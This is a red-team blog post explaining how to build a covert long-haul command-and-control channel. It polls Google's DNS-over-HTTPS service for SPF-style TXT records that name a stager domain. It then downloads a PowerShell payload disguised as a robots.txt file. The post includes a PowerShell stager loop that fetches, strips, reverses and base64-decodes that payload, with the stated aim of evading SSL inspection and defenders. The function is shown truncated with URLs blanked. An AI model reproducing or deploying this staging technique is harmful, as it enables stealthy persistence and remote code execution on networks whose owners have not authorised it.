Building resilient C2 infrastructures using DNS over HTTPS (DoH)

Persistent access to a target’s network is one of the milestones in any offensive operation. During our operations, we use various types of short-haul beacons for day-to-day operations. If all short-haul beacons fail, a long-haul beacon which calls back much less frequently, can restore access to the target’s network. As such, a long-haul beacon should function in a way that it does not attract the attention of the blue team.

For OPSEC reasons, it is a good habit to split your command and control (C2) between low-and-slow channels (stage 1, long-haul) and operational channels (stage 2, short-haul). This blog post provides operational details for building a stage 1 C2 channel using DNS over HTTPS (HTTPS calls to to retrieve DNS TXT records) to trigger the download of a stager that will subsequently launch a payload for stage 2 C2.

Why you should create diversity in C2

Building different layers and applying diversification are important mechanisms to achieve reliability and operational security (OPSEC) for your command and control infrastructure. Amongst others, a good C2 infrastructure has the following characteristics:

  • Backup channels are available if another channel is cut off
  • Investigation of one channel does not directly expose other channels
  • Exposure of your operational implants on targeted systems is limited

A common pattern used by various APT groups to achieve this, is to use long-haul C2 channels with very basic functionality (stage 1 C2) that can be used to temporarily deploy advanced and complex implants that communicate over another channel (stage 2 C2). In this way, a very resilient infrastructure is created with limited chances of valuable implants (with risk of attribution!) falling in the hands of investigators.

In this blog we will demonstrate how you can simulate such a pattern in your red teaming operations using DNS over HTTPS.

What is DNS over HTTPS (DoH) and why should I care?

DNS over HTTPS (DoH) allows for DNS resolution via the HTTPS protocol, as specified in RFC8484. One of the goals of DoH is to increase a user’s privacy, resolving DNS queries via HTTPS. Various parties offer DoH, of which Google is very prominent one.

From an offensive viewpoint, when we use DoH, we can perform a request:

  • To a known and trusted party (e.g. Google)
  • From which we can control the response
  • Over an SSL-encrypted channel
  • Which wouldn’t stand out in case it was inspected

In addition to these characteristics, we find that many of our clients that have implemented SSL inspection, exclude all Google domains from inspection for various reasons (cert-pinning in Google products, traffic load, privacy, etc.). Altogether, this makes DoH via Google an ideal channel to trigger the launching of a payload.

The graphic below shows a Python example that sends a single DNS request for TXT records of the domain ‘’ to via HTTPS. It also shows the response.

(Ab)using DoH for payload triggering

So now that we know how DoH works, how can we (ab)use it for triggering payload delivery?We are able to control the contents of the DNS answer that is pulled periodically by the system. Using DoH, we are able to communicate small amounts of data (i.e. payload location information) to an infected system within a target’s network.

Solely including a hostname or stager URL in the DNS TXT record is not a good idea from an OPSEC perspective. Use your creativity here! You could for example use an SPF record to embed a stager domain. SPF records look harmless and can contain IP addresses, domains or server names.

Imagine that you have a default SPF record to which you add a domain when you want to serve a new payload The receiving end of our trigger would spot the hostname added to the SPF record and act upon it.

The graphic below shows an example DNS TXT response that has a domain name embedded in it. This domain name can be extracted by the stager that periodically pulls the DNS TXT record.

Payload encoding: hiding in robots.txt

Since the payload itself will not be served via DoH due to size restrictions (and such would probably stand out during an investigation), we need to encode our payload to make it blend it with normal web traffic. The following graphic shows a basic example of this: a ‘robots.txt’ file that appears to contain text only. However, actually the file contains a PowerShell payload which is base64 encoded (e.g. Cobalt Strike PowerShell payload), with extra spaces to avoid any ‘=’ characters at the end. This payload is reversed and cut in random chunks with added ‘Disallow: /’ and ‘.html’ strings in order to imitate a real robots.txt file.

Python code for embedding your payload in robots.txt can be found on our GitHub. Usage:

python payload.ps1

For most of your operations you probably want to go significantly further to hide your payload during staging. Some of our favorites to help in this process:

Example DoH stager code

Our receiving end of the long-haul C2 channel (stage 1) is a separate process that periodically polls the DNS TXT record over DoH. The code segment below contains a quick and dirty PowerShell example that can be used to endlessly query DNS TXT records for a domain using the DoH Google service. Requests use HTTPS to communicate to Of course, OPSEC-wise you might not want to use PowerShell and might want to tailor the DNS TXT answer, payload location, and sleep time with the target’s environment in mind.

In the below example, if a response of ‘vspf1 include: -all’ is received, it will go back to sleep for 10 hours. If the response is longer, it will extract the domain name embedded in the response, download ‘robots.txt’ from the domain name and execute it.

function Invoke-SPFtrigger
  $hostn = ""
  $spf = (New-Object System.Net.Webclient).DownloadString("")
  $offsetA = $spf.IndexOf("v=spf1 include:")+15
  $offsetB = $spf.IndexOf("-all")-1
  $hostn = $spf.substring($offsetA,$offsetB-$offsetA)
  if ($hostn.Length -ge 3 ){
    $dl = (New-Object System.Net.Webclient).DownloadString("http://" + $hostn + "/robots.txt")
    $dl = $dl.Replace(".html`n", "")
    $dl = $dl.Replace("Disallow: /", "")
    $dl = $dl[-1..-($dl.length)] -join ""
    $c = [System.Convert]::FromBase64String($dl)
    $st = [System.Text.Encoding]::ASCII.GetString($c)


You can now use this long-haul channel to delegate staging of your “interactive” and “operational” C2 channels (your Cobalt Strike, Empire, Slingshot or homegrown implant). Use your creativity and have fun!

Cobalt Strike beacon over DoH

Next to solely triggering staging your beacon over DoH, you can also use DoH as your main C2 channel. SpiderLabs recently published a ready-to-use Cobalt Strike External C2 module for this:

The code mentioned in this blogpost can be found here: